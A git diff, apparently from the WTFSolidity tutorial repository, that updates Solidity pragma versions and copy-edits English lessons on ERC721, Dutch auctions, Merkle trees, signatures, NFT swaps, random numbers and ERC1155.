`_addresses` array is equal to the length of `_amounts` array . The second `require` checks if the authorization limit of the airdrop contract is greater than the total amount of tokens to be airdropped. + This function contains `2` checks: The first `require` checks if the length of the `_addresses` array is equal to the length of the `_amounts` array. The second `require` checks if the authorization limit of the airdrop contract is greater than the total amount of tokens to be airdropped. ```solidity /// @notice Transfer ERC20 tokens to multiple addresses, authorization is required before use @@ -132,4 +132,4 @@ function multiTransferETH( ## Conclusion -In this lesson, we introduced how to use `solidity` to write an `ERC20` token airdrop contract, greatly increasing the efficiency of airdrops. The biggest airdrop I ever received was from `ENS`, how about you? \ No newline at end of file +In this lesson, we introduced how to use `solidity` to write an `ERC20` token airdrop contract, greatly increasing the efficiency of airdrops. The biggest airdrop I ever received was from `ENS`, how about you? diff --git a/Languages/en/34_ERC721_en/ERC721.sol b/Languages/en/34_ERC721_en/ERC721.sol index 5caed04f9..6cabdb5e8 100644 --- a/Languages/en/34_ERC721_en/ERC721.sol +++ b/Languages/en/34_ERC721_en/ERC721.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC165.sol"; import "./IERC721.sol"; diff --git a/Languages/en/34_ERC721_en/String.sol b/Languages/en/34_ERC721_en/String.sol index 0cea75e28..bdaead5e0 100644 --- a/Languages/en/34_ERC721_en/String.sol +++ b/Languages/en/34_ERC721_en/String.sol @@ -1,7 +1,7 @@ // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol) -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * @dev String operations. diff --git a/Languages/en/34_ERC721_en/WTFApe.sol b/Languages/en/34_ERC721_en/WTFApe.sol index c522b8781..1c11c8f3d 100644 --- a/Languages/en/34_ERC721_en/WTFApe.sol +++ b/Languages/en/34_ERC721_en/WTFApe.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./ERC721.sol"; diff --git a/Languages/en/34_ERC721_en/readme.md b/Languages/en/34_ERC721_en/readme.md index 4d885e1b3..abc31e0e9 100644 --- a/Languages/en/34_ERC721_en/readme.md +++ b/Languages/en/34_ERC721_en/readme.md @@ -131,7 +131,7 @@ interface IERC721 is IERC165 { ## IERC721Receiver -If a contract does not implement the relevant functions of `ERC721`, the incoming NFT will be stuck and unable to be transferred out, causing a loss of the token. In order to prevent accidental transfers, `ERC721` implements the `safeTransferFrom()` function, and the target contract must implement the `IERC721Receiver` interface in order to receive `ERC721` tokens, otherwise it will `revert`. The `IERC721Receiver` interface only includes an `onERC721Received()` function. +If a contract does not implement the relevant functions of `ERC721`, the incoming NFT will be stuck and unable to be transferred out, causing a loss of the token. In order to prevent accidental transfers, `ERC721` implements the `safeTransferFrom()` function, and the target contract must implement the `IERC721Receiver` interface in order to receive `ERC721` tokens, otherwise, it will `revert`. The `IERC721Receiver` interface only includes an `onERC721Received()` function. ```solidity // ERC721 receiver interface: Contracts must implement this interface to receive ERC721 tokens via safe transfers. @@ -191,7 +191,7 @@ The `ERC721` main contract implements all the functionalities defined by `IERC72 ```solidity // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./IERC165.sol"; import "./IERC721.sol"; @@ -244,13 +244,13 @@ contract ERC721 is IERC721, IERC721Metadata{ return _balances[owner]; } - // Implements the ownerOf function of IERC721, which uses `_owners` variable to check `tokenId`'s owner. + // Implements the ownerOf function of IERC721, which uses the `_owners` variable to check `tokenId`'s owner. function ownerOf(uint tokenId) public view override returns (address owner) { owner = _owners[tokenId]; require(owner != address(0), "token doesn't exist"); } - // Implements the isApprovedForAll function of IERC721, which uses `_operatorApprovals` variable to check whether `owner` address's NFTs are authorized in batch to be held by another `operator` address. + // Implements the isApprovedForAll function of IERC721, which uses the `_operatorApprovals` variable to check whether the `owner` address's NFTs are authorized in batch to be held by another `operator` address. function isApprovedForAll(address owner, address operator) external view @@ -260,19 +260,19 @@ contract ERC721 is IERC721, IERC721Metadata{ return _operatorApprovals[owner][operator]; } - // Implements the setApprovalForAll function of IERC721, which approves all holding tokens to `operator` address. Invokes `_setApprovalForAll` function. + // Implements the setApprovalForAll function of IERC721, which approves all holding tokens to the `operator` address. Invokes `_setApprovalForAll` function. function setApprovalForAll(address operator, bool approved) external override { _operatorApprovals[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } - // Implements the getApproved function of IERC721, which uses `_tokenApprovals` variable to check authorized address of `tokenId`. + // Implements the getApproved function of IERC721, which uses the `_tokenApprovals` variable to check the authorized address of `tokenId`. function getApproved(uint tokenId) external view override returns (address) { require(_owners[tokenId] != address(0), "token doesn't exist"); return _tokenApprovals[tokenId]; } - // The approve function, which updates `_tokenApprovals` variable to approve `to` address to use `tokenId` and emits an Approval event. + // The approve function, which updates the `_tokenApprovals` variable to approve `to` address to use `tokenId` and emits an Approval event. function _approve( address owner, address to, @@ -391,7 +391,7 @@ contract ERC721 is IERC721, IERC721Metadata{ } /** - * The mint function, which updates `_balances` and `_owners` variables to mint `tokenId` and transfers it to `to`. It emits an Transfer event. + * The mint function, which updates `_balances` and `_owners` variables to mint `tokenId` and transfers it to `to`. It emits a Transfer event. * This mint function can be used by anyone, developers need to rewrite this function and add some requirements in practice. * Requirements: * 1. `tokenId` must not exist. @@ -466,7 +466,7 @@ Let's use `ERC721` to write a free minting `WTF APE`, with a total quantity of ` ```solidity // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./ERC721.sol"; @@ -494,12 +494,12 @@ contract WTFApe is ERC721{ With the `ERC721` standard, issuing NFTs on the `ETH` chain has become very easy. Now, let's issue our own NFT. -After compiling the `ERC721` contract and the `WTFApe` contract in `Remix` (in order), click the button in the deployment column, enter parameters of the constructor function , set `name_` and `symbol_` to `WTF`, and then click the `transact` button to deploy. +After compiling the `ERC721` contract and the `WTFApe` contract in `Remix` (in order), click the button in the deployment column, enter the parameters of the constructor function, set `name_` and `symbol_` to `WTF`, and then click the `transact` button to deploy. ![How to emphasize NFT information](./img/34-1.png) ![Deploy contract](./img/34-2.png) -This way, we have created the `WTF` NFT. We need to run the `mint()` function to mint some tokens for ourselves. In the `mint` function panel, click the right button to input the account address and token id, and then click the `mint` button to mint the `0`-numbered `WTF` NFT for ourselves. +This way, we have created the `WTF` NFT. We need to run the `mint()` function to mint some tokens for ourselves. In the `mint` function panel, click the right button to input the account address and token ID, and then click the `mint` button to mint the `0`-numbered `WTF` NFT for ourselves. You can click the Debug button on the right to view the logs below. @@ -528,7 +528,7 @@ interface ERC721TokenReceiver { } ``` -Expanding into the world of programming languages, whether it's Java's interface or Rust's Trait (of course, in solidity, it's more like a library than a trait), whenever it relates to interfaces, it implies that an interface is a collection of certain behaviors (in solidity, interfaces are equivalent to a collection of function selectors). If a certain type implements a certain interface, it means that the type has a certain functionality. Therefore, as long as a certain contract type implements the above `ERC721TokenReceiver` interface (specifically, it implements the `onERC721Received` function), the contract type indicates to the outside world that it has the ability to manage NFTs. Of course, the logic of operating NFTs is implemented in other functions of the contract. +Expanding into the world of programming languages, whether it's Java's interface or Rust's Trait (of course, in solidity, it's more like a library than a trait), whenever it relates to interfaces, it implies that an interface is a collection of certain behaviours (in solidity, interfaces are equivalent to a collection of function selectors). If a certain type implements a certain interface, it means that the type has a certain functionality. Therefore, as long as a certain contract type implements the above `ERC721TokenReceiver` interface (specifically, it implements the `onERC721Received` function), the contract type indicates to the outside world that it has the ability to manage NFTs. Of course, the logic of operating NFTs is implemented in other functions of the contract. When executing `safeTransferFrom` in the ERC721 standard, it will check whether the target contract implements the `onERC721Received` function, which is an operation based on the `ERC165` idea. @@ -587,7 +587,7 @@ The calculation of **0x5b5e139f** is: IERC721Metadata.name.selector ^ IERC721Metadata.symbol.selector ^ IERC721Metadata.tokenURI.selector ``` -How does the ERC721.sol implemented by Solamte fulfill these features required by `ERC165`? +How does the ERC721.sol implemented by Solamte fulfil these features required by `ERC165`? ```solidity function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) { @@ -619,4 +619,4 @@ function supportsInterface(bytes4 interfaceId) public view virtual returns (bool **Elegance, conciseness, and scalability are maximized.** ## Summary -In this lesson, I introduced the `ERC721` standard, interface, and implementation, and added English comments to the contract code. We also used `ERC721` to create a free `WTF APE` NFT, with metadata directly called from `BAYC`. The `ERC721` standard is still evolving, with the currently popular versions being `ERC721Enumerable` (improving NFT accessibility) and `ERC721A` (saving `gas` in minting). \ No newline at end of file +In this lesson, I introduced the `ERC721` standard, interface, and implementation, and added English comments to the contract code. We also used `ERC721` to create a free `WTF APE` NFT, with metadata directly called from `BAYC`. The `ERC721` standard is still evolving, with the currently popular versions being `ERC721Enumerable` (improving NFT accessibility) and `ERC721A` (saving `gas` in minting). diff --git a/Languages/en/35_DutchAuction_en/DutchAuction.sol b/Languages/en/35_DutchAuction_en/DutchAuction.sol index 38eda0cbf..104ef57ed 100644 --- a/Languages/en/35_DutchAuction_en/DutchAuction.sol +++ b/Languages/en/35_DutchAuction_en/DutchAuction.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@openzeppelin/contracts/access/Ownable.sol"; import "../34_ERC721/ERC721.sol"; diff --git a/Languages/en/35_DutchAuction_en/readme.md b/Languages/en/35_DutchAuction_en/readme.md index eaa6392ab..3baa0274a 100644 --- a/Languages/en/35_DutchAuction_en/readme.md +++ b/Languages/en/35_DutchAuction_en/readme.md @@ -20,7 +20,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ---- -In this lecture, I will introduce the Dutch Auction and explain how to issue a `NFT` using the `ERC721` standard through a simplified version of the `Azuki` Dutch Auction code. +In this lecture, I will introduce the Dutch Auction and explain how to issue an `NFT` using the `ERC721` standard through a simplified version of the `Azuki` Dutch Auction code. ## Dutch Auction @@ -42,7 +42,7 @@ The code is simplified based on the [code](https://etherscan.io/address/0xed5af3 ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@openzeppelin/contracts/access/Ownable.sol"; import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/ERC721.sol"; @@ -55,7 +55,7 @@ contract DutchAuction is Ownable, ERC721 { There are a total of `9` state variables in the contract, of which `6` are related to the auction. They are: - `COLLECTION_SIZE`: Total number of NFTs. -- `AUCTION_START_PRICE`: Starting price of the Dutch auction, also the highest price. +- `AUCTION_START_PRICE`: Starting price of the Dutch auction, is also the highest price. - `AUCTION_END_PRICE`: Ending price of the Dutch auction, also the lowest price/floor price. - `AUCTION_TIME`: Duration of the auction. - `AUCTION_DROP_INTERVAL`: Time interval when the price drops. @@ -115,7 +115,7 @@ If `block.timestamp` is between the start and end times, the current decay price - User auctions and mints `NFT`: Users participate in a Dutch auction and mint `NFT` by calling the `auctionMint()` function to pay `ETH`. -First, the function checks if the auction has started or if the number of `NFTs` has exceeded the limit. Then, the contract calculates the auction cost based on the number of minted `NFTs` and using the `getAuctionPrice()` function. It also checks if the user has enough `ETH` to participate. If the user has enough `ETH`, the contract mints `NFTs` and refunds any excess `ETH`. Otherwise, the transaction is reverted. +First, the function checks if the auction has started or if the number of `NFTs` has exceeded the limit. Then, the contract calculates the auction cost based on the number of minted `NFTs` and uses the `getAuctionPrice()` function. It also checks if the user has enough `ETH` to participate. If the user has enough `ETH`, the contract mints `NFTs` and refunds any excess `ETH`. Otherwise, the transaction is reverted. ```solidity // the auction mint function @@ -171,4 +171,4 @@ First, the function checks if the auction has started or if the number of `NFTs` ## Summary -In this lecture, we introduced the Dutch auction and explained how to issue `ERC721` standard `NFT` through `Dutch auction` using a simplified version of the `Azuki` Dutch auction code. The most expensive `NFT` I auctioned was a piece of music `NFT` by musician `Jonathan Mann`. What about you? \ No newline at end of file +In this lecture, we introduced the Dutch auction and explained how to issue `ERC721` standard `NFT` through `Dutch auction` using a simplified version of the `Azuki` Dutch auction code. The most expensive `NFT` I auctioned was a piece of music `NFT` by musician `Jonathan Mann`. What about you? diff --git a/Languages/en/36_MerkleTree_en/MerkleTree.sol b/Languages/en/36_MerkleTree_en/MerkleTree.sol index 40f8556aa..a63d62c52 100644 --- a/Languages/en/36_MerkleTree_en/MerkleTree.sol +++ b/Languages/en/36_MerkleTree_en/MerkleTree.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // By 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "../34_ERC721/ERC721.sol"; diff --git a/Languages/en/36_MerkleTree_en/readme.md b/Languages/en/36_MerkleTree_en/readme.md index 1654e1b58..ffff90007 100644 --- a/Languages/en/36_MerkleTree_en/readme.md +++ b/Languages/en/36_MerkleTree_en/readme.md @@ -14,9 +14,9 @@ Recently, I have been reviewing solidity in order to consolidate some details an Welcome to follow me on Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) -Welcome to join the WTF Scientist community, which includes methods for adding WeChat groups: [link](https://discord.gg/5akcruXrsk) +Welcome to the WTF Scientist community, which includes methods for adding WeChat groups: [link](https://discord.gg/5akcruXrsk) -All code and tutorials are open source on Github (1024 stars will issue course certification, 2048 stars will issue community NFTs): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +All code and tutorials are open source on GitHub (1024 stars will issue course certification, 2048 stars will issue community NFTs): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ----- @@ -204,4 +204,4 @@ If we call the `mint` function again at this point, although the address can pas In this lesson, we introduced the concept of `Merkle Tree`, how to generate a simple `Merkle Tree`, how to use smart contracts to verify `Merkle Tree`, and how to use it to distribute `NFT` whitelist. -In practical use, complex `Merkle Tree` can be generated and managed using the `merkletreejs` library in Javascript, and only one root value needs to be stored on the chain, which is very gas-efficient. Many project teams choose to use `Merkle Tree` to distribute the whitelist. \ No newline at end of file +In practical use, complex `Merkle Tree` can be generated and managed using the `merkletreejs` library in Javascript, and only one root value needs to be stored on the chain, which is very gas-efficient. Many project teams choose to use `Merkle Tree` to distribute the whitelist. diff --git a/Languages/en/37_Signature_en/Signature.sol b/Languages/en/37_Signature_en/Signature.sol index d54bf212e..ad266bb65 100644 --- a/Languages/en/37_Signature_en/Signature.sol +++ b/Languages/en/37_Signature_en/Signature.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "../34_ERC721/ERC721.sol"; diff --git a/Languages/en/37_Signature_en/readme.md b/Languages/en/37_Signature_en/readme.md index f2adb783f..d07fc7c0b 100644 --- a/Languages/en/37_Signature_en/readme.md +++ b/Languages/en/37_Signature_en/readme.md @@ -53,7 +53,7 @@ Signature: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559 ### Creating a signature -**1. Packing the message:** In the Ethereum `ECDSA` standard, the `message` being signed is the `keccak256` hash of a set of data, which is of type `bytes32`. We can pack any content we want to sign using the `abi.encodePacked()` function, and then use `keccak256()` to calculate the hash as the `message`. In our example, the `message` is obtained from a`uint256` type variable and an `address` type variable. +**1. Packing the message:** In the Ethereum `ECDSA` standard, the `message` being signed is the `keccak256` hash of a set of data, which is of type `bytes32`. We can pack any content we want to sign using the `abi.encodePacked()` function, and then use `keccak256()` to calculate the hash as the `message`. In our example, the `message` is obtained from a 'uint256` type variable and an `address` type variable. ```solidity /* @@ -73,7 +73,7 @@ function getMessageHash(address _account, uint256 _tokenId) public pure returns( ```solidity /** - * @dev Returns an Ethereum signed message hash. + * @dev Returns an Ethereum-signed message hash. * `hash`: The message to be hashed * Follows Ethereum signing standard: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * and `EIP191`:https://eips.ethereum.org/EIPS/eip-191` @@ -95,7 +95,7 @@ Ethereum signed message: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc1 **3-1. Sign with wallet:** In daily operations, most users sign messages using this method. After obtaining the message that needs to be signed, we need to use the `Metamask` wallet to sign it. The `personal_sign` method of `Metamask` will automatically convert the `message` into an `Ethereum signed message` and then initiate the signature. So we only need to input the `message` and the `signer wallet account`. It should be noted that the input `signer wallet account` needs to be consistent with the account currently connected by `Metamask`. -Therefore, first import the `private key` in the example into the `Foxlet wallet`, and then open the `console` page of the browser: `Chrome menu-more tools-developer tools-Console`. Under the status of connecting to the wallet (such as connecting to OpenSea, otherwise an error will occur), enter the following instructions step by step to sign: +Therefore, you need to first import the `private key` in the example into the `Foxlet wallet`, and then open the `console` page of the browser: `Chrome menu-more tools-developer tools-Console`. Under the status of connecting to the wallet (such as connecting to OpenSea, otherwise an error will occur), enter the following instructions step by step to sign: ``` ethereum.enable() @@ -104,7 +104,7 @@ hash = "0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c" ethereum.request({method: "personal_sign", params: [account, hash]}) ``` -The created signature can be seen in the returned result (`PromiseResult`) . Different accounts have different private keys, and the created signature values are also different. The signature created using the tutorial's private key is shown below: +The created signature can be seen in the returned result (`PromiseResult`). Different accounts have different private keys, and the created signature values are also different. The signature created using the tutorial's private key is shown below: ``` 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c @@ -166,7 +166,7 @@ _signature:0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d5 ![Public key recovery by signature and message](./img/37-8.png) -**5. Compare public keys and verify signature:** Next, we just need to compare the recovered `public key` with the signer's public key`_signer` to determine if they are equal: if they are, the signature is valid; otherwise, the signature is invalid. +**5. Compare public keys and verify the signature:** Next, we just need to compare the recovered `public key` with the signer's public key `_signer` to determine if they are equal: if they are, the signature is valid; otherwise, the signature is invalid. ```solidity /** @@ -287,4 +287,4 @@ _signature: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d55 In this section, we introduced the digital signature `ECDSA` in Ethereum, how to create and verify signatures using `ECDSA`, and `ECDSA` contracts, and how to distribute `NFT` whitelists using them. The `ECDSA` library in the code is simplified from the same library of `OpenZeppelin`. - Since the signature is off-chain and does not require `gas`, this whitelist distribution model is more cost-effective than the `Merkle Tree` model; - However, since users need to request a centralized interface to obtain the signature, a certain degree of decentralization is inevitably sacrificed; -- Another advantage is that the whitelist can be dynamically changed, rather than being hardcoded in the contract in advance, because the central backend interface of the project can accept requests from any new address and provide whitelist signatures. \ No newline at end of file +- Another advantage is that the whitelist can be dynamically changed, rather than being hardcoded in the contract in advance because the central backend interface of the project can accept requests from any new address and provide whitelist signatures. diff --git a/Languages/en/38_NFTSwap_en/NFTSwap.sol b/Languages/en/38_NFTSwap_en/NFTSwap.sol index 38b2fd994..48e09abf5 100644 --- a/Languages/en/38_NFTSwap_en/NFTSwap.sol +++ b/Languages/en/38_NFTSwap_en/NFTSwap.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "../34_ERC721/IERC721.sol"; import "../34_ERC721/IERC721Receiver.sol"; diff --git a/Languages/en/38_NFTSwap_en/readme.md b/Languages/en/38_NFTSwap_en/readme.md index 75befaaa7..183363b5f 100644 --- a/Languages/en/38_NFTSwap_en/readme.md +++ b/Languages/en/38_NFTSwap_en/readme.md @@ -204,7 +204,7 @@ The `approve(address to, uint tokenId)` method has 2 parameters: ![](./img/38-5.png) -Following the method above, authorizes the NFT with `tokenId` of `1` to the `NFTSwap` contract address. +Following the method above authorizes the NFT with `tokenId` of `1` to the `NFTSwap` contract address. ### 4. List the NFT for Sale Call the `list()` function of the `NFTSwap` contract to list the NFT with `tokenId` of `0` that is held by the caller on the `NFTSwap`. Set the price to 1 `wei`. @@ -281,4 +281,4 @@ The `purchase(address _nftAddr, uint256 _tokenId, uint256 _wei)` method has thre After a successful purchase, calling the `ownerOf()` function of the `WTFApe` contract shows that the `NFT` owner has changed, indicating a successful purchase! -In summary, in this lecture, we built a zero-fee decentralized `NFT` exchange. Although `OpenSea` has made significant contributions to the development of `NFTs`, its disadvantages are also very obvious: high transaction fees, no reward for users, and trading mechanisms that can easily lead to phishing attacks, causing users to lose their assets. Currently, new `NFT` trading platforms such as `Looksrare` and `dydx` are challenging the position of `OpenSea`, and `Uniswap` is also researching new `NFT` exchanges. We believe that in the near future, we will have better `NFT` exchanges to use. \ No newline at end of file +In summary, in this lecture, we built a zero-fee decentralized `NFT` exchange. Although `OpenSea` has made significant contributions to the development of `NFTs`, its disadvantages are also very obvious: high transaction fees, no reward for users, and trading mechanisms that can easily lead to phishing attacks, causing users to lose their assets. Currently, new `NFT` trading platforms such as `Looksrare` and `dydx` are challenging the position of `OpenSea`, and `Uniswap` is also researching new `NFT` exchanges. We believe that in the near future, we will have better `NFT` exchanges to use. diff --git a/Languages/en/39_Random_en/Random.sol b/Languages/en/39_Random_en/Random.sol index 5c5fda271..138557206 100644 --- a/Languages/en/39_Random_en/Random.sol +++ b/Languages/en/39_Random_en/Random.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; /** * import from github and npm diff --git a/Languages/en/39_Random_en/RandomNumberConsumer.sol b/Languages/en/39_Random_en/RandomNumberConsumer.sol index b28311f26..8aa96d175 100644 --- a/Languages/en/39_Random_en/RandomNumberConsumer.sol +++ b/Languages/en/39_Random_en/RandomNumberConsumer.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; diff --git a/Languages/en/39_Random_en/readme.md b/Languages/en/39_Random_en/readme.md index efe7049ad..556f651e1 100644 --- a/Languages/en/39_Random_en/readme.md +++ b/Languages/en/39_Random_en/readme.md @@ -64,25 +64,25 @@ In the tutorial, we use the `Rinkeby` testnet. After deploying the contract, use ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; contract RandomNumberConsumer is VRFConsumerBase { - bytes32 internal keyHash; // VRF唯一标识符 - uint256 internal fee; // VRF使用手续费 + bytes32 internal keyHash; // VRF unique identifier + uint256 internal fee; // VRF usage fee - uint256 public randomResult; // 存储随机数 +uint256 public randomResult; // store random numbers - /** - * 使用chainlink VRF,构造函数需要继承 VRFConsumerBase - * 不同链参数填的不一样 - * 网络: Rinkeby测试网 - * Chainlink VRF Coordinator 地址: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B - * LINK 代币地址: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 - * Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311 - */ + /** + * When using chainlink VRF, the constructor needs to inherit VRFConsumerBase + * Different chain parameters are filled in differently. + *Network: Rinkeby testnet + * Chainlink VRF Coordinator address: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B + * LINK token address: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311 + */ constructor() VRFConsumerBase( 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B, // VRF Coordinator @@ -90,7 +90,7 @@ contract RandomNumberConsumer is VRFConsumerBase { ) { keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311; - fee = 0.1 * 10 ** 18; // 0.1 LINK (VRF使用费,Rinkeby测试网) +fee = 0.1 * 10 ** 18; // 0.1 LINK (VRF usage fee, Rinkeby test network) } ``` @@ -110,7 +110,7 @@ Users can call `requestRandomness()` inherited from the `VRFConsumerBase` contra } ``` -3. The `Chainlink` node generates a random number and a digital signature off-chain, and sends them to the `VRF` contract. +3. The `Chainlink` node generates a random number and a digital signature off-chain and sends them to the `VRF` contract. 4. The `VRF` contract verifies the validity of the signature. @@ -118,12 +118,12 @@ Users can call `requestRandomness()` inherited from the `VRFConsumerBase` contra After verifying the validity of the signature in the `VRF` contract, the fallback function `fulfillRandomness()` of the user contract will be automatically called, and the off-chain generated random number will be sent over. The logic of consuming the random number should be implemented in this function. -Note: The `requestRandomness()` function called by the user to request a random number and the fallback function `fulfillRandomness()` called when the `VRF` contract returns the random number are two separate transactions, with the user contract and the `VRF` contract being the callers, respectively. The latter will be a few minutes later than the former (with different chain delays). +Note: The `requestRandomness()` function is called by the user to request a random number and the fallback function `fulfillRandomness()` is called when the `VRF` contract returns the random number are two separate transactions, with the user contract and the `VRF` contract being the callers, respectively. The latter will be a few minutes later than the former (with different chain delays). ```solidity /** - * VRF合约的回调函数,验证随机数有效之后会自动被调用 - * 消耗随机数的逻辑写在这里 +* The callback function of the VRF contract will be automatically called after verifying that the random number is valid. + * The logic of consuming random numbers is written here */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { randomResult = randomness; @@ -136,7 +136,7 @@ In this section, we will use on-chain and off-chain random numbers to create a ` ```Solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/ERC721.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; @@ -295,17 +295,17 @@ In addition to the constructor function, the contract defines 5 other functions: After the contract is deployed, copy the contract address, and transfer `LINK` to the contract address just as you would for a normal transfer. ![Transfer LINK tokens](./img/39-4.png) -### 4. Mint NFTs using onchain random numbers +### 4. Mint NFTs using on-chain random numbers -In the `remix` interface, click on the orange function `mintRandomOnchain` on the left side ![mintOnchain](./img/39-5-1.png), then click confirm in the pop-up `Metamask` to start minting the transaction using onchain random numbers. +In the `remix` interface, click on the orange function `mintRandomOnchain` on the left side![mintOnchain](./img/39-5-1.png), then click confirm in the pop-up `Metamask` to start minting the transaction using on-chain random numbers. ![Mint NFTs using onchain random numbers](./img/39-5.png) -### 5. Mint NFTs using `Chainlink VRF` offchain random numbers +### 5. Mint NFTs using `Chainlink VRF` off-chain random numbers Similarly, in the `remix` interface, click on the orange function `mintRandomVRF` on the left and click confirm in the pop-up little fox wallet. The transaction of minting an `NFT` using `Chainlink VRF` off-chain random number has started. -Note: when using `VRF` to mint `NFT`, initiating the transaction and the success of minting are not in the same block. +Note: when using `VRF` to mint `NFT`, initiating the transaction and the success of minting is not in the same block. ![Transaction start for VRF minting](./img/39-6.png) ![Transaction success for VRF minting](./img/39-7.png) @@ -316,6 +316,6 @@ From the above screenshots, it can be seen that in this example, the `NFT` with ## Conclusion -Generating a random number in `Solidity` is not as straightforward as in other programming languages. In this tutorial, we introduced two methods of generating random numbers on-chain (using hash functions) and off-chain (`Chainlink` oracle), and used them to create an `NFT` with a randomly assigned `tokenId`. Both methods have their own advantages and disadvantages: using on-chain random numbers is efficient but insecure, while generating off-chain random numbers relies on third-party oracle services, which is relatively safe but not as easy and economical. Project teams should choose the appropriate method according to their specific business needs. +Generating a random number in `Solidity` is not as straightforward as in other programming languages. In this tutorial, we introduced two methods of generating random numbers on-chain (using hash functions) and off-chain (`Chainlink` oracle), and used them to create an `NFT` with a randomly assigned `tokenId`. Both methods have their advantages and disadvantages: using on-chain random numbers is efficient but insecure while generating off-chain random numbers relies on third-party Oracle services, which is relatively safe but not as easy and economical. Project teams should choose the appropriate method according to their specific business needs. -Apart from these methods, there are other organizations that are trying new ways of RNG (Random Number Generation), such as [randao](https://github.com/randao/randao), which proposes to provide an on-chain and true randomness service in a DAO pattern. \ No newline at end of file +Apart from these methods, there are other organizations that are trying new ways of RNG (Random Number Generation), such as [randao](https://github.com/randao/randao), which proposes to provide an on-chain and true randomness service in a DAO pattern. diff --git a/Languages/en/40_ERC1155_en/BAYC1155.sol b/Languages/en/40_ERC1155_en/BAYC1155.sol index 420a844c9..2c568ae22 100644 --- a/Languages/en/40_ERC1155_en/BAYC1155.sol +++ b/Languages/en/40_ERC1155_en/BAYC1155.sol @@ -1,6 +1,6 @@ // SPDX-License-Identifier: MIT // by 0xAA -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; import "./ERC1155.sol"; diff --git a/Languages/en/40_ERC1155_en/readme.md b/Languages/en/40_ERC1155_en/readme.md index 787b4fc80..a0efc8c65 100644 --- a/Languages/en/40_ERC1155_en/readme.md +++ b/Languages/en/40_ERC1155_en/readme.md @@ -24,7 +24,7 @@ In this lecture, we will learn about the `ERC1155` standard, which allows a cont ## `EIP1155` Both the `ERC20` and `ERC721` standards correspond to a single token contract. For example, if we wanted to create a large game similar to World of Warcraft on Ethereum, we would need to deploy a contract for each piece of equipment. Deploying and managing thousands of contracts is very cumbersome. Therefore, the [Ethereum EIP1155](https://eips.ethereum.org/EIPS/eip-1155) proposes a multi-token standard called `ERC1155`, which allows a contract to contain multiple homogeneous and heterogeneous tokens. `ERC1155` is widely used in GameFi applications, and well-known blockchain games such as Decentraland and Sandbox use it. -In simple terms, `ERC1155` is similar to the previously introduced non-fungible token standard [ERC721](https://github.com/AmazingAng/WTFSolidity/tree/main/34_ERC721): in `ERC721`, each token has a `tokenId` as a unique identifier, and each `tokenId` corresponds to only one token; in `ERC1155`, each type of token has an `id` as a unique identifier, and each `id` corresponds to one type of token. This way, the types of tokens can be managed heterogeneously in the same contract, and each type of token has a URL `uri` to store its metadata, similar to `tokenURI` in `ERC721`. The following is the metadata interface contract `IERC1155MetadataURI` for `ERC1155`: +In simple terms, `ERC1155` is similar to the previously introduced non-fungible token standard 